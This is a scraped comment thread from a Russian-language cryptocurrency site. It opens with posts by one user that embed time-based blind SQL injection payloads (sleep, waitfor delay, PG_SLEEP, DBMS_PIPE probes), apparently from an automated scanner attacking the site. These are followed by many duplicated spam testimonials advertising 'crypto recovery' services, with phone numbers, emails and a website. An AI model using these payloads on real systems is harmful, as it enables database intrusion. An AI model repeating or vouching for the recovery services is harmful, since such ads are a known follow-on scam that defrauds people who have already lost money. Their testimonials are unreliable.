  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon